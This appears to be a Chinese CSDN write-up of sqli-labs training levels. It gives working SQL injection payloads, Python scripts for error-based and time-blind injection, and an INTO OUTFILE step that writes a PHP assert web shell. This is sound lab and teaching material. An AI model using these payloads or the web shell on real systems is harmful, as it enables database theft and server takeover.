sql注入靶场练习

该文章详细记录了一次SQL注入攻击的过程,从识别注入点、测试闭合方式到利用报错注入、时间盲注等方法获取数据库信息,最终解密CTF训练中的flag。涉及到的技巧包括union选择、group_concat函数、extractvalue和mid函数的使用,以及应对无回显和特殊闭合方式的策略。
摘要由CSDN通过智能技术生成

Less-1

union没有被过滤,先试出来长度。

?id=1'order+by+3%23
?id=1'order+by+4%23

到4时,发现

image-20221201113233720

然后再试出来回显位置。

?id=-1'+union+select+1,2,3%23

发现在2,3处回显。

然后爆破数据库。

?id=-1'+union+select+1,2,(select+group_concat(schema_name)+from+information_schema.schemata)%23

在这里插入图片描述

发现了ctftraining,猜测flag在其中,然后查询表名。

?id=-1'+union+select+1,2,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema="ctftraining")%23

然后查询列名。

?id=-1'+union+select+1,2,(select+group_concat(column_name)+from+information_schema.columns+where+table_name="flag")%23

然后得到flag。

?id=-1'+union+select+1,2,(select+flag+from+ctftraining.flag)%23

Less-2

输入’发现回显错误,猜测不用闭合。

和第一个一样,就是少了一个’

?id=-1+union+select+1,2,3%23

还是在2和3中回显,查询数据库。

?id=-1'+union+select+1,2,(select+group_concat(schema_name)+from+information_schema.schemata)%23

然后就是查询表名、列名,得到flag。

?id=-1+union+select+1,2,(select+flag+from+ctftraining.flag)%23

Less-3

发现’并不能使前边闭合,根据回显的错误可以利用’)来闭合。

在这里插入图片描述

看其回显尝试闭合方式,然后直接使用了上两道题得到flag的方法。

?id=-1')+union+select+1,2,(select+flag+from+ctftraining.flag)%23

Less-4

还是继续查看报错。

image-20230401160103161

去看了一下源码。

在这里插入图片描述

很明显,当我们传入1时,语句会变成

$sql="SELECT * FROM users WHERE id=("1") LIMIT 0,1";

这时,如果想要闭合,就需要")来闭合前边。

?id=-1")union+select+1,2,(select+flag+from+ctftraining.flag)%23

Less-5

第五题稍微的不一样了,输入1后发现并没有回显。

在这里插入图片描述

猜测本题是无回显注入,尝试一下报错注入,发现成功。

id='and+(extractvalue(1,concat(0x7e,(database()),0x7e)))%23

然后一步一步得到flag。

?id='and+(extractvalue(1,concat(0x7e,(select+group_concat(schema_name)+from+information_schema.schemata),0x7e)))%23
'and+(extractvalue(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema="ctftraining"),0x7e)))%23

然后想得到flag。

?id='and+(extractvalue(1,concat(0x7e,(select+flag+from+ctftraining.flag),0x7e)))%23

然后会发现,得不到完整的flag,现在怎么办,可以利用字符串截取函数mid。

?id='and+(extractvalue(1,concat(0x7e,mid((select+flag+from+ctftraining.flag),30),0x7e)))%23

或者用函数substring来截取。

?id='and+(extractvalue(1,substring(concat(0x7e,(select+flag+from+ctftraining.flag),0x7e),25,35)))%23

还可以让其反向输出,函数为reverse

?id='and+(extractvalue(1,reverse(concat(0x7e,(select+flag+from+ctftraining.flag),0x7e))))%23

然后自己写了个脚本。

#Athor: f0njl
import requests
url = 'http://b3e96324-c627-4bbd-8c0d-8d93b7ab5679.node4.buuoj.cn/Less-5/?id='
flag = ''
start=1
for i in range(1,3):
    payload = "'and+(extractvalue(1,concat(0x7e,mid((select+flag+from+ctftraining.flag),{}),0x7e)))%23".format(start)
    start+=31
    re = requests.get(url+payload)
    print(re.text.split('~')[1].split("'</br>")[0],end="")

image-20230401160449491

Less-6

继续看报错内容

在这里插入图片描述

很明显可以用"来闭合前边。

还是脚本。

#Athor: f0njl
import requests
url = 'http://b3e96324-c627-4bbd-8c0d-8d93b7ab5679.node4.buuoj.cn/Less-6/?id='
flag = ''
start=1
for i in range(1,3):
    payload = '"and+(extractvalue(1,concat(0x7e,mid((select+flag+from+ctftraining.flag),{}),0x7e)))%23'.format(start)
    start+=31
    re = requests.get(url+payload)
    print(re.text.split('~')[1].split("'</br>")[0],end="")

Less-7

第七关,发现sql报错不回显报错信息,无法知道其闭合方式,只能自己试。

最后在

?id=1'))%23

这时发现正常回显。

在这里插入图片描述

但无法回显信息,试一下报错注入。

但是给了提示use outfile,本题我用的本地靶场。

?id=1%27))%20into%20outfile%20%27../../../WWW/www.sql.coom/sqli-labs-master/Less-7/1.php%27%20lines%20terminated%20by%200x3c3f7068702061737365727428245f504f53545b6c657373375d293b3f3e%23

传入本页面下1.php木马文件。

image-20230401160930384

看一下本题源码有何不同。
在这里插入图片描述

首先, i d 布局变了,变成了 ( ( ′ id布局变了,变成了((' id布局变了,变成了((id’)),这就需要我们去猜测其闭合方式。

然后又发现了本题将print_r(mysql_error());给注释掉了,无法打印出来error的信息,进而无法进行报错注入。

所以只能用outfile来写入木马。

Less-8

发现了,都不会回显了,但是sql注入异常和正常回显情况不一样。

正常:

[外链图片转存中...
异常:

image-20230401161206128

本题还是靠写入shell木马。

?id=1'%20into%20outfile%20%27../../../WWW/www.sql.coom/sqli-labs-master/Less-8/1.php%27%20lines%20terminated%20by%200x3c3f7068702061737365727428245f504f53545b6c657373375d293b3f3e%23

在这里插入图片描述

Less-9

和上一题一样,无任何回显,并且无法写入木马文件,尝试用时间盲注。

脚本:

#Author: f0njl
import requests
import datetime

url = "http://ed0b2644-3ae5-44f3-b1dd-65fed84f02c5.node4.buuoj.cn:81/Less-9/?id="
flag = ""
str = "0123456789abcdefghigklmnopqrstuvwxyz{}-__"
for i in range(1,50):
    for j in str:
        #payload = "1'and if(substr(database(),{},1)='{}',sleep(1),1)--+".format(i,j)
        #payload = "1'and if(substr((select+group_concat(schema_name)+from+information_schema.schemata),{},1)='{}',sleep(1),1)--+".format(i,j)
        payload = "1'and if(substr((select+flag+from+ctftraining.flag),{},1)='{}',sleep(1),1)--+".format(i,j)
        time1 = datetime.datetime.now()
        r = requests.get(url + payload)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
            flag += j
            print(flag)
            break

还可以用二分法,加快爆破速度。

Less-10

先尝试了单引号来闭合,然后时间注入,没成功。

最后尝试了一会,发现"可以成功闭合。

脚本:

#Author: f0njl
import requests
import datetime

url = "http://b3e96324-c627-4bbd-8c0d-8d93b7ab5679.node4.buuoj.cn/Less-10/?id="
flag = ""
str = "0123456789abcdefghigklmnopqrstuvwxyz{}-__"
for i in range(1,50):
    for j in str:
        payload = '1"and if(substr(database(),{},1)="{}",sleep(1),1)--+'.format(i,j)
        #payload = '1"and if(substr((select+group_concat(schema_name)+from+information_schema.schemata),{},1)="{}",sleep(1),1)--+'.format(i,j)
        #payload = '1"and if(substr((select+flag+from+ctftraining.flag),{},1)="{}",sleep(1),1)--+'.format(i,j)
        time1 = datetime.datetime.now()
        r = requests.get(url + payload)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
            flag += j
            print(flag)
            break

Less-11

从GET型注入变成了POST而已。发现可以回显,并且登录账号密码为admin,和第一题一样,直接union注入就好。

在这里插入图片描述

payload:

uname=admin&passwd=a'union+select+1,(select+flag+from+ctftraining.flag)#&submit=Submit

Less-12

发现闭合方式变了,先报错看一下其闭合方式。

image-20230401161824418

所以闭合方式已经很明显了,是")

payload:

uname=admin&passwd=a")union+select+1,(select+flag+from+ctftraining.flag)#&submit=Submit

在这里插入图片描述

Less-13

闭合方式
在这里插入图片描述

报错注入

payload:

admin') union select updatexml(1,concat(0x7e,(select user()),0x7e),1)#

image-20230401162043791

Less-14

闭合方式

在这里插入图片描述

payload:

admin" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) #

在这里插入图片描述

Less-15

脚本

import requests
import datetime
import time

url = "http://2d0283d0-a8c0-4e26-853a-00ba3f7abb57.node4.buuoj.cn/Less-15/"
flag = ""
str = "0123456789abcdefghigklmnopqrstuvwxyz{}-__"
for i in range(1,50):
    for j in str:
        data ={
        'uname': "admin'and if(substr(database(),{},1)='{}',sleep(1),1)#".format(i,j),
        'passwd': 'admin',
        'submit':'Submit'
        }
        time1 = datetime.datetime.now()
        r = requests.post(url=url,data=data)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
            flag += j
            print(flag)
            time.sleep(1)
            break

Less-16

脚本

import requests
import datetime
import time

url = "http://2d0283d0-a8c0-4e26-853a-00ba3f7abb57.node4.buuoj.cn/Less-16/"
flag = ""
str = "0123456789abcdefghigklmnopqrstuvwxyz{}-__"
for i in range(1,50):
    for j in str:
        data ={
        'uname': "admin\")and if(substr(database(),{},1)=\"{}\",sleep(1),1)#".format(i,j),
        'passwd': 'admin',
        'submit':'Submit'
        }
        #payload = "1'and if(substr(database(),{},1)='{}',sleep(1),1)--+".format(i,j)
        #payload = "1'and if(substr((select+group_concat(schema_name)+from+information_schema.schemata),{},1)='{}',sleep(1),1)--+".format(i,j)
        #payload = "1'and if(substr((select+flag+from+ctftraining.flag),{},1)='{}',sleep(1),1)--+".format(i,j)
        time1 = datetime.datetime.now()
        r = requests.post(url=url,data=data)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
            flag += j
            print(flag)
            time.sleep(1)
            break

Less-17

提示密码被重置了,uname没法继续注入,转到passwd了,首先尝试让其报错。

image-20230324190508253

成功报错,利用报错注入。

在这里插入图片描述

less-18

登陆后发现回显UA头

在这里插入图片描述

猜测为ua头注入

payload:

'and updatexml(1,concat(0x7e,(database())),0x7e),1) #

Less-19

尝试登陆后发现

注入点在Referer。payload和上一个一样。

'and updatexml(1,concat(0x7e,(database())),0x7e),1) #

在这里插入图片描述

Less-20

登陆后回显。

在这里插入图片描述

明显的Cookie注入。

payload:

' union select user(),database(),@@version #

image-20230401155842185
ad:

'and updatexml(1,concat(0x7e,(database())),0x7e),1) #
PentesterLab靶场SQL注入流程可以按照以下步骤进行: 1. 首先,我们需要找到一个存在SQL注入漏洞的目标网站。可以使用工具或手动查找目标网站。 2. 一旦找到目标网站,我们可以使用不同的注入技术进行测试。在引用\[1\]和\[2\]中提供的案例中,可以尝试使用报错注入和联合查询注入。 3. 对于报错注入,我们可以尝试在URL参数中插入一些特殊字符和SQL语句,以触发错误并获取数据库信息。例如,在引用\[1\]中提供的案例中,我们可以尝试使用updatexml函数来获取数据库名称。 4. 对于联合查询注入,我们可以尝试在URL参数中插入一些特殊字符和SQL语句,以执行额外的查询并获取数据库信息。例如,在引用\[2\]中提供的案例中,我们可以尝试使用UNION SELECT语句来获取额外的数据列。 5. 如果我们成功地发现了SQL注入漏洞并获取了数据库信息,我们可以使用工具如sqlmap来自动化注入过程,以获取更多的数据库信息。 6. 最后,我们可以根据获取的数据库信息来进一步探索和利用漏洞,以达到我们的渗透测试目标。 请注意,进行SQL注入测试时,应遵循合法和道德的原则,并获得合法的授权。 #### 引用[.reference_title] - *1* *2* [PentesterLab靶场sql注入流程](https://blog.csdn.net/m0_37570494/article/details/122727777)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [一次简单的SQL注入靶场练习](https://blog.csdn.net/lza20001103/article/details/125958035)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

f0njl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值